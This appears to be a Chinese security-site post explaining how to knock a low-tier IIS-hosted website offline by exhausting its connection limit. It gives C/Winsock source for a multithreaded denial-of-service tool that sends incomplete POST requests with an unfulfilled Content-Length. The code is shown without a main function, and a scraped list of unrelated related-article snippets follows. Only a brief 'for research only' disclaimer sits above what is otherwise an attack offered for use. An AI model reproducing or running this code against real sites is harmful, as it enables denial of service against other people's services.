利用IIS最大连接数实现网站DOS(图)

安全中国提示:本程序仅做为技术研究之用,请勿用于非法用途,否则,后果自负!

最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问)。

这里就出现问题了。如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。

具体的攻击嘛,我们当然是利用程序来完成。思路简单,就是不断的向网站发HTTP请求,直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议Content Lenth限制漏洞导致拒绝服务攻击》写的测试程序,跟今天的要求很相似,就拿来改改咯。具体代码如下:

#include "winsock.h"

#include "stdio.h"

#include "string.h"

#include "io.h"

#pragma comment(lib,"ws2_32.lib")

#define BUFLEN 1024

#define MAXThreadCount 10 //设置最大线程数

int ThreadCount=0;

struct mydata

{

char *ip;

int port;

};

unsigned int resolve(char *name)

{

struct hostent *he;

unsigned int ip;

if((ip=inet_addr(name))==(-1))

{

if((he=gethostbyname(name))==0)

return 0;

memcpy(&ip,he->h_addr,4);

}

return ip;

}

DWORD WINAPI Dos(LPVOID lpParam )

{

mydata *csdn = (mydata*)lpParam;

struct sockaddr_in server;

server.sin_family = AF_INET;

server.sin_port = htons(csdn->port);

server.sin_addr.s_addr = resolve((char*)csdn->ip);

if(server.sin_addr.s_addr==0)

{

printf("Don’t find address %s\n",(char*)csdn->ip);

exit(0);

}

int my;

char buf[100]="POST / HTTP/1.1\r\nHost: ";

strcat(buf,(char*)csdn->ip);

strcat(buf," \r\nContent-Length: 10\r\n\r\n");

my=socket(PF_INET,SOCK_STREAM,0);

if(my==INVALID_SOCKET)

{

printf("ERROR");

exit(0);

}

if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)

{

printf("Socket ERROR:%d",GetLastError());

exit(0);

}

if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}

ThreadCount--;

return 0;

}

void thread ( char *a1 , char *a2 , char *a3 )

{

static mydata tmp;

tmp.ip = a1;

tmp.port = atoi(a2);

DWORD dwThreadId;

HANDLE hThread;

WSADATA ws;

if (WSAStartup( MAKEWORD(2,2), &ws )!=0)

{

printf(" [-] WSAStartup() error\n");

exit(0);

}

hThread = CreateThread(

NULL, // no security attributes

0, // use default stack size

Dos, // thread function

&tmp, // argument to thread function

0, // use default creation flags

&dwThreadId); // returns the thread identifier

if (hThread == NULL)

printf( "CreateThread failed." );

ThreadCount++;

Sleep(200); //延时,否则CPU会用满……

CloseHandle(hThread);

}

(0)

相关推荐

  • 利用IIS最大连接数实现网站DOS(图)

    安全中国提示:本程序仅做为技术研究之用,请勿用于非法用途,否则,后果自负! 最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问). 这里就出现问题了.如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候--呵呵,拒绝服务就发生了. 具体的攻击嘛,我们当然是利用程序来完成.思路

  • 如何利用IIS调试ASP.NET网站程序详解

    前言 在实际的开发当中,相信很多的开发者在开发调试ASP.NET网站时候都是直接通过Visual Studio工具的编译运行来调试的. 一般情况下,这种调试方式也不会有多少问题,但有时候我们会发现这样的一个情况,就是明明在本地调试运行都没有问题的网站,部署到服务器IIS上,就出现无法描述的线上问题.这时候,就要排除服务器环境是否跟本地环境一样,其中一点还要涉及到IIS的配置的排除. 那问题来了,我们能不能在开发的时候,就部署在IIS上调试,而不是直接使用Visual Studio的运行调试,这样

  • 利用IIS调试ASP.NET网站程序的完整步骤

    前言 在实际的开发当中,相信很多的开发者在开发调试ASP.NET网站时候都是直接通过Visual Studio工具的编译运行来调试的. 一般情况下,这种调试方式也不会有多少问题,但有时候我们会发现这样的一个情况,就是明明在本地调试运行都没有问题的网站,部署到服务器IIS上,就出现无法描述的线上问题.这时候,就要排除服务器环境是否跟本地环境一样,其中一点还要涉及到IIS的配置的排除. 那问题来了,我们能不能在开发的时候,就部署在IIS上调试,而不是直接使用Visual Studio的运行调试,这样

  • asp.net 利用IIS的404错误将文件重写成目录的简单方法

    例如:http:/www.jb51.net/8888/ 该页面是由http://www.jb51.net/ArticleShow.aspx?id=8888 重写而来. 具体实现方法: 利用IIS的404错误来实现 "HTTP 404 - 未找到文件"可能是大家经常看到并且比较不喜欢的一个错误,可是很好的利用这个错误却可以给 网页设计带来很好的效果,本文就是利用404来实现对文件的重新. 具体步骤: 1.先建立一个页面,比如叫Error.aspx,放在网站根目录,在Error.aspx里

  • 利用Echarts如何实现多段圆环图

    目录 前言 原型示例 完美实现 效果图 总结 前言 开发某款app时,产品给的UI原型图上有个分为三段的圆环图,本来以为使用echarts应该会很好做的,主要考虑移动端echarts的兼容问题就好了,但是实际操作后发现还是没法做到完美的还原,最终找了很多类似的案例,加上自己的一些调整实现了. 原型示例 第一眼看的时候以为用echarts里的饼图做一些修改可以达到,但是效果都不太好,首先是每段弧段的边缘有一个圆角的处理,其次是弧度的宽度是不同,灰色最细,红色次之,绿色是最宽的. 第二时间又看到了一

  • 利用DataSet部分功能实现网站登录

    首先,我之前必须完成过注册,并把个人信息存入数据库中. 其次,这部分的个别对象是存于某些文档中的,需要引用命名空间. using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using ZG.Common;//后面用到ScriptHelper对象(ScriptHelper.cs

  • 利用Python的folium包绘制城市道路图的实现示例

    写在前面 很长一段时间内,我都在研究在线地图的开发者文档,百度地图和高德地图的开发者中心提供了丰富的在线地图服务,虽然有一定的权限限制,但不得不说,还是给我的科研工作提供了特别方便的工具,在博客前面我先放上这两个在线地图开放平台的web API的地址链接: 百度地图开放平台 高德地图开放平台 基于这两个平台,博主进行了一系列的开发研究工作,本文介绍其中一项技术,如何用folium包绘制城市道路图,当然,也可绘制非城市道路图,只要提供正确的路名就行了. 开发工具: Python3.7 Spyder

  • 利用Vite2和Vue3实现网站国际化的全过程

    目录 前言 安装vue-i18n 配置Locales 实现 getLangs.js 创建 i18n 实例 模板中使用 语言切换 关于切换后需要刷新后才生效 切换语言触发其他组件更新 总结 前言 最近有人在吐槽项目使用 Vue3 之后,出现一堆问题,填坑困难,甚至是开发中才发现某些第三方库没有推出 Vue3 的版本,因此大发吐槽,强烈建议不使用 Vue3. 做好技术预研和兼容性调查是开发前的工作之一,特别是对于新技术或者大版本的更新,除非你有十个胆,否则不要在预研不充分的情况下,在正式项目中使用.

  • Python利用matplotlib模块数据可视化绘制3D图

    目录 前言 1 matplotlib绘制3D图形 2 绘制3D画面图 2.1 源码 2.2 效果图 3 绘制散点图 3.1 源码 3.2 效果图 4 绘制多边形 4.1 源码 4.2 效果图 5 三个方向有等高线的3D图 5.1 源码 5.2 效果图 6 三维柱状图 6.1 源码 6.2 效果图 7 补充图 7.1 源码 7.2 效果图 总结 前言 matplotlib实际上是一套面向对象的绘图库,它所绘制的图表中的每个绘图元素,例如线条Line2D.文字Text.刻度等在内存中都有一个对象与之

  • 如何利用Matlab绘制出好看的火山图

    这里画了一个示例: 数据来源 绘制效果: 代码及说明: 使用代码时只需要改一开始导入的数据,和代码提示中X坐标区域范围和Y坐标区域范围,完整代码如下所示: % 读取数据 data=readmatrix('volcano.txt'); logFC=data(:,2); padj=data(:,3); DB_not=(padj>0.5)|(logFC<0.5&logFC>-0.5); DB_up=padj<=0.05&logFC>=0.5; DB_down=pad

随机推荐